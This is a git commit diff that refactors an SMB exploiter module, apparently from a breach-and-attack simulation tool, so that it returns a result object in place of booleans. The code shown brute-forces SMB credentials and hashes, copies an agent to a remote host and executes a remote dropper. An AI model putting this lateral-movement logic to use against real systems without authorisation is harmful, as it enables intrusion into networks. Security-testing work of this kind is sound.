Agent: Return ExploitResultData from SMBExploiter

This commit is contained in:
Mike Salvatore 2022-03-18 10:50:55 -04:00
parent eddb9d527f
commit 8eace7c736
1 changed files with 11 additions and 6 deletions

View File

@ -32,7 +32,6 @@ class SMBExploiter(HostExploiter):
dest_path = get_agent_dest_path(self.host, self.options)
creds = generate_brute_force_combinations(self.options["credentials"])
exploited = False
for user, password, lm_hash, ntlm_hash in creds:
try:
# copy the file remotely using SMB
@ -59,7 +58,7 @@ class SMBExploiter(HostExploiter):
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
exploited = True
self.exploit_result.exploitation_success = True
break
else:
# failed exploiting with this user/pass
@ -72,9 +71,9 @@ class SMBExploiter(HostExploiter):
)
continue
if not exploited:
if not self.exploit_result.exploitation_success:
logger.debug("Exploiter SmbExec is giving up...")
return False
return self.exploit_result
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != dest_path.lower():
@ -117,7 +116,12 @@ class SMBExploiter(HostExploiter):
break
if not smb_conn:
return False
msg = "Failed to establish an RPC connection over SMB"
logger.warning(msg)
self.exploit_result.error_message = msg
return self.exploit_result
# TODO: We DO want to deal with timeouts
# We don't wanna deal with timeouts from now on.
@ -151,6 +155,7 @@ class SMBExploiter(HostExploiter):
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
self.add_vuln_port(
"%s or %s"
@ -159,4 +164,4 @@ class SMBExploiter(HostExploiter):
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
)
)
return True
return self.exploit_result